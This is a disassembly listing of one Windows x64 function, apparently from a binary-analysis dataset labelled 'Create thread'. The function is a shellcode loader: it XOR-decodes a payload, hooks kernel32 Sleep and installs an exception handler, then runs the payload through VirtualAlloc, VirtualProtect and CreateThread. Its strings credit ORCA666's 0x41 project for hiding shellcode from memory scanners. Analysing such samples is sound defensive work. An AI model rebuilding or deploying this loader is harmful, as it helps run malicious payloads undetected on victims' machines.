Function at 0x1400027c0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x14000b020]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r15
mov qword [rbp - 1], 0xf
mov byte [rbp - 0x19], r15b
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x41]
call fcn.1400026a0
nop
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x61]
call fcn.140001300
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140001440
nop
lea rsi, [rsp + 0x38]
cmp qword [rbp - 0x69], 0x10
cmovae rsi, qword [rsp + 0x38]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x61], xmm1
mov edi, r15d
mov qword [rbp - 0x51], r15
mov r14d, r15d
mov rbx, qword [rbp - 0x59]
cmp qword [rbp - 0x71], r14
jbe 0x1400028b1
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsi]
xor al, 8
mov byte [rsp + 0x30], al
cmp rbx, rdi
je 0x140002889
mov byte [rbx], al
inc rbx
mov qword [rbp - 0x59], rbx
jmp 0x1400028a2
lea r8, [rsp + 0x30]
mov rdx, rbx
lea rcx, [rbp - 0x61]
call fcn.140004b10
mov rdi, qword [rbp - 0x51]
mov rbx, qword [rbp - 0x59]
inc r14d
inc rsi
movsxd rax, r14d
cmp rax, qword [rbp - 0x71]
jb 0x140002870
mov dword [0x14000b9a0], 1
lea rcx, str._.__Hooking_kernel32_Sleep...
call fcn.140003a00
mov qword [rbp + 7], r15
mov qword [rbp + 0xf], r15
mov qword [rbp + 0x1f], 0x10
lea rax, [0x14000b990]
mov qword [rbp + 0x17], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [0x14000b988], rax
lea r9, [rbp + 7]
mov rdx, rax
mov cl, 1
call fcn.140002260
test al, al
jne 0x140002a23
lea rcx, str.____Could_not_hook_kernel32_Sleep_
call fcn.140003a00
nop
mov rcx, qword [rbp - 0x61]
test rcx, rcx
je 0x14000294d
sub rdi, rcx
mov rax, rcx
cmp rdi, 0x1000
jb 0x140002944
add rdi, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cdd
mov rdx, rdi
call fcn.1400051ec
nop
mov rdx, qword [rbp - 0x69]
cmp rdx, 0x10
jb 0x140002989
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002984
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d23
call fcn.1400051ec
mov qword [rbp - 0x71], r15
mov qword [rbp - 0x69], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x1400029d5
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d72
call fcn.1400051ec
movdqa xmm0, xmmword [0x1400079e0]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140002c77
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jmp 0x140002c6c
mov eax, dword [0x14000b9a0]
test eax, eax
jne 0x140002a52
lea rcx, str._.__Entering_infinite_loop__not_injecting_the_shellcode__for_memory_IOCs_examination.
call fcn.140003a00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
lea rcx, str._.__PID_
call fcn.1400040d0
nop
jmp 0x140002a50
cmp eax, 2
jne 0x140002a81
lea rcx, str._n_.__Initializing_VEH_Handler_to_intercept_invalid_memory_accesses_due_to_PAGE_NOACCESS.
call fcn.140003a00
lea rcx, str.____This_is_a_re_implementation_of_ORCA666s_work_presented_in_his_https:__github.com_ORCA666_0x41_project._n
call fcn.140003a00
lea rdx, [0x1400025f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
lea rcx, str._.__Injecting_shellcode...
call fcn.140003a00
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 7], rax
mov r14, r15
mov qword [rbp + 0xf], r15
mov r15, rbx
mov rsi, qword [rbp - 0x61]
sub r15, rsi
mov r9d, 4
mov r8d, 0x1000
lea rdx, [r15 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
jne 0x140002ad8
xor r15d, r15d
mov ebx, r15d
jmp 0x140002b45
mov r8, r15
mov rdx, rsi
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rbp - 0x21]
mov r8d, 0x20
lea rdx, [r15 + 1]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002b09
xor r15d, r15d
mov ebx, r15d
jmp 0x140002b45
cmp rsi, rbx
cmovne rbx, rsi
mov qword [rbp - 0x59], rbx
xor r15d, r15d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, r12
lea r8, [0x140002690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, rax
mov qword [rbp + 0xf], rax
test rax, rax
setne al
mov rbx, r14
test al, al
jne 0x140002c81
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
call fcn.1400042c0
nop
test rbx, rbx
je 0x140002b6a
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rsi, rsi
je 0x140002ba3
sub rdi, rsi
mov rax, rsi
cmp rdi, 0x1000
jb 0x140002b97
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002cdd
mov rdx, rdi
mov rcx, rsi
call fcn.1400051ec
nop
mov rdx, qword [rbp - 0x69]
cmp rdx, 0x10
jb 0x140002bdf
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002bda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d23
call fcn.1400051ec
mov qword [rbp - 0x71], r15
mov qword [rbp - 0x69], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x140002c2b
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002d72
call fcn.1400051ec
movdqa xmm0, xmmword [0x1400079e0]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140002c77
inc rdx
mov rcx, qword [rbp - 0x19]
mov r8, rcx
cmp rdx, 0x1000
jb 0x140002c72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140002dc1
call fcn.1400051ec
mov eax, 1
jmp 0x140002dcf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
lea rcx, str.___Shellcode_is_now_running._PID_
call fcn.1400040d0
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test rbx, rbx
je 0x140002cb4
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test rsi, rsi
je 0x140002cf0
sub rdi, rsi
mov rax, rsi
cmp rdi, 0x1000
jb 0x140002ce4
add rdi, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ce4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rsi
call fcn.1400051ec
nop
mov rdx, qword [rbp - 0x69]
cmp rdx, 0x10
jb 0x140002d2f
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d2a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051ec
mov qword [rbp - 0x71], r15
mov qword [rbp - 0x69], 0xf
mov byte [rsp + 0x38], 0
mov rdx, qword [rbp - 0x29]
cmp rdx, 0x10
jb 0x140002d7e
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051ec
movdqa xmm0, xmmword [0x1400079e0]
movdqu xmmword [rbp - 0x31], xmm0
mov byte [rbp - 0x41], 0
mov rdx, qword [rbp - 1]
cmp rdx, 0x10
jb 0x140002dcd
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002dc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002dc8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400051ec
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140005190
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret